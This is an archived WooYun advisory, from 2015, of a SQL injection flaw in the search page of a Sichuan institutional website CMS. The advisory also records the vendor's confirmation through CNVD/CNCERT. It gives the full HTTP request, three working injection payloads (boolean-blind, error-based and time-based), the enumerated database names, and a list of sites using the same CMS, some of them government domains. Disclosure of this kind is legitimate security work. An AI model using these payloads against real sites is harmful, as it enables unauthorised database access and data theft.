当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0108251

漏洞标题:四川机构网存在SQL注入

相关厂商:四川机构网

漏洞作者: un10ad

提交时间:2015-04-21 15:05

修复时间:2015-06-08 14:00

公开时间:2015-06-08 14:00

漏洞类型:SQL注射漏洞

危害等级:低

自评Rank:5

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-04-21: 细节已通知厂商并且等待厂商处理中
2015-04-24: 厂商已经确认,细节仅向厂商公开
2015-05-04: 细节向核心白帽子及相关领域专家公开
2015-05-14: 细节向普通白帽子公开
2015-05-24: 细节向实习白帽子公开
2015-06-08: 细节向公众公开

简要描述:

“四川机构网是按照省委、省政府关于信息化建设的部署要求,推进我省机构单位政务公开,面向社会公众服务而建立的大型机构网站”。百度搜索1下,有很多网站包括政府网站都是用的此CMS建站。
SQL注入可导出部分政府人员数据!

详细说明:

GET /Engineer/Search.aspx?key=test HTTP/1.1
Host: www.scjg.com.cn
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:35.0) Gecko/20100101 Firefox/35.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://www.scjg.com.cn/Engineer/affairs.html
Cookie: ASP.NET_SessionId=1l4t2bvpo0ztj0avzodxte1d
Connection: keep-alive


Parameter: key (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: key=test%' AND 7358=7358 AND '%'='
Type: error-based
Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
Payload: key=test%' AND 3811=CONVERT(INT,(SELECT CHAR(113)+CHAR(113)+CHAR(118)+CHAR(120)+CHAR(113)+(SELECT (CASE WHEN (3811=3811) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(122)+CHAR(122)+CHAR(113)+CHAR(113))) AND '%'='
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase OR time-based blind (heavy query)
Payload: key=-6316%' OR 9798=(SELECT COUNT(*) FROM sysusers AS sys1,sysusers AS sys2,sysusers AS sys3,sysusers AS sys4,sysusers AS sys5,sysusers AS sys6,sysusers AS sys7) AND '%'='
---
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 4.0.30128
back-end DBMS: Microsoft SQL Server 2008
current user: 'scjg_web_user'
available databases [9]:
[*] decree
[*] JGWDB
[*] master
[*] model
[*] msdb
[*] ReportServer$SQLSERVER2008R2
[*] ReportServer$SQLSERVER2008R2TempDB
[*] scjg_com_cn
[*] tempdb

漏洞证明:

大概有这么多网站用
Database: scjg_com_cn
Table: WebSite
[1500 entries]
+--------------------------------------+
| Url |
+--------------------------------------+
| http:// |
| http://118.123.106.26:8020 |
| http://118.123.106.26:8026/index.asp |
| http://118.123.106.26:8030 |
| http://118.123.106.26:8037/index.asp |
| http://118.123.106.26:8040 |
| http://118.123.106.26:8042 |
| http://118.123.106.26:8049/index.asp |
| http://118.123.106.26:8050 |
| http://118.123.106.26:8058/index.asp |
| http://118.123.106.26:8060 |
| http://123.com1111 |
| http://abjcy.gov.cn/ |
| http://abwh.gov.cn/ |
| http://abzmxgsxzglj.com/ |
| http://abzwcxfgj.com |
| http://ajfy.gov.cn/ |
| http://axcdc.com/ |
| ...... |

屏幕快照 2015-04-15 23.35.41.png


屏幕快照 2015-04-15 23.28.23.png


那啥 就不贴多了,能证明就行。

修复方案:

参数过滤

版权声明:转载请注明来源 un10ad@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:13

确认时间:2015-04-24 13:59

厂商回复:

CNVD确认并复现所述情况,已经转由CNCERT下发给四川分中心,由其后续协调网站管理单位处置。

最新状态:

暂无